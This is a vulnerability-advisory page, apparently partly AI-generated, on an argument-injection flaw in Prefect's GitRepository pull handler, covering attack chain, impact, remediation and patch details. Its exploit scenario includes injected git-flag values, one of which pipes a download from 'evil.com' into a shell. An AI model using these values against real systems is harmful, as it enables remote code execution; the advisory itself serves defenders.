Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain or compromise Prefect user credentials
-
DeliveryInvoke GitRepository with injected commit_sha flag
-
ExploitGit interprets malicious option as command flag
-
ExecutionArbitrary command executes via git option handler
-
ImpactCode runs as Prefect runner process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
|
| Exploitation Conditions | Authentication is required-the attacker must be a legitimate Prefect user or have obtained valid credentials. The GitRepository class must be instantiated with user-controlled or attacker-influenced commit_sha or directories parameters (the vulnerability does NOT affect hardcoded repository specifications). The attack succeeds when commit_sha contains git command-line flags (e.g., --upload-pack, --config, -c) or when directories contain values prefixed with -- or single- or double-dash options that git sparse-checkout will interpret as flags rather than paths. No special configuration or non-default deployment mode is required-the vulnerability exists in the standard GitRepository handler used for pulling code from git sources. Limitations: the attacker cannot escalate beyond the privilege level of the Prefect runner process, and the injection is constrained to git command arguments (not arbitrary shell commands, though git options like --config and --upload-pack do allow shell command execution in some git configurations). |
| Impact | CVSS 6.3 (Medium) with network vector (AV:N/AC:L/PR:L) indicates moderate real-world risk. The vulnerability requires authenticated access (PR:L), which significantly limits attack surface compared to unauthenticated RCE. However, the presence of publicly available exploit code and the low attack complexity (AC:L) elevate practical risk for organizations where Prefect runners are accessible to multiple users or where user accounts are compromised. The E:P (Proof of Concept Exploit) rating confirms public exploit availability. SSVC signals are mixed: exploitation is confirmed (POC exists), the attack is remotely deliverable over the network, but it requires legitimate authentication, making it more suitable for insider threats or compromised-credential scenarios than opportunistic internet-wide scanning. Organizations running Prefect in shared multi-tenant environments or with overly permissive access controls face heightened risk. The absence of KEV confirmation suggests this is not yet being exploited at scale by advanced actors, but the public exploit code availability and low attack complexity mean defensive deployment must happen promptly. The integrity and confidentiality impacts (I:L/C:L) are limited to the execution context of the Prefect runner-depending on runner privileges and network position, actual impact could range from data exfiltration to lateral movement. |
| Exploit ScenarioDerived | An authenticated Prefect user (or attacker with compromised credentials) creates a flow that triggers a GitRepository pull operation, supplying a malicious commit_sha like '--upload-pack=touch /tmp/pwned' or a directories parameter like '--config=core.sshCommand=curl http://evil.com|sh'. The unpatched code concatenates this directly into a git sparse-checkout command, causing git to interpret the injected flags as command options, executing arbitrary code on the Prefect runner's host with the privileges of the Prefect process. Publicly available exploit code (gist.github.com/nedlir/c37d90dda5f715790eafc970b2ef0c8a) demonstrates this attack method. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 04, 2026
Argument injection in Prefect up to 3.6.25.dev6 allows authenticated attackers to execute arbitrary git commands via specially crafted commit_sha or directories parameters in the GitRepository Pull Handler (src/prefect/runner/storage.py). An attacker can inject git flags like --upload-pack or --config to achieve remote code execution with the privileges of the Prefect runner process. Publicly available exploit code exists, and the vendor has released a patched version (3.6.25.dev7) that validates commit SHA format and adds command-line argument separators to block injection.
RemediationAI
Upgrade Prefect to version 3.6.25.dev7 or later immediately. Vendor-released patch: 3.6.25.dev7 (commit 6a9d9918716ce4ee0297b69f3046f7067ef1faae, PR #21384). Until upgrade is possible, restrict network access to Prefect runners and enforce strong authentication and role-based access control to limit who can invoke GitRepository operations with user-controlled parameters. Implement audit logging on all Prefect runner API calls to detect suspicious commit_sha or directories parameters (watch for hex validation failures or -- prefixes). Review any deployed Prefect configurations where GitRepository is instantiated with dynamic or user-provided parameters and temporarily pin them to known-safe hardcoded values. Note that workarounds do not fully mitigate the risk-patching is strongly recommended. See vendor advisory at https://github.com/PrefectHQ/prefect for additional security guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the GitRepository class within Prefect's runner storage module, which handles pulling code from remote git repositories. The affected code constructs git sparse-checkout commands by directly concatenating user-supplied commit_sha and directories parameters into command arrays passed to subprocess execution functions. The root cause (CWE-88: Argument Injection) stems from insufficient input validation-attackers can inject git command-line flags (prefixed with -- or -) that are interpreted as options rather than literal directory names or commit references. The patch addresses this by: (1) validating commit_sha against a regex pattern allowing only hexadecimal characters (4-64 chars, supporting SHA-1 and SHA-256), (2) adding a -- argument separator before the directories list to force git to treat all following arguments as positional parameters rather than flags, and (3) issuing a warning if directories contain suspicious double-dash prefixes. This is a classic shell/command-injection pattern where input sanitization bypasses lead to arbitrary option injection in subprocess commands.
Know when Prefect gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
5DescriptionCVE.org
A vulnerability was found in PrefectHQ prefect up to 3.6.25.dev6. Affected by this issue is some unknown functionality of the file src/prefect/runner/storage.py of the component GitRepository Pull Handler. The manipulation of the argument commit_sha/directories results in argument injection. It is possible to launch the attack remotely. The exploit has been made public and could be used. Upgrading to version 3.6.25.dev7 can resolve this issue. The patch is identified as 6a9d9918716ce4ee0297b69f3046f7067ef1faae. It is advisable to upgrade the affected component.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Related Vulnerabilities in PrefectHQ prefect Multiple Vulnerabilities
View all 4Cross-Site Request Forgery (CSRF) in GitHub repository prefecthq/prefect prior to 2.16.5. Rated high severity (CVSS 8.8)
Remote code execution in PrefectHQ Prefect through version 3.8.2 allows authenticated users to inject arbitrary git argu
EUVD-2026-26880
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB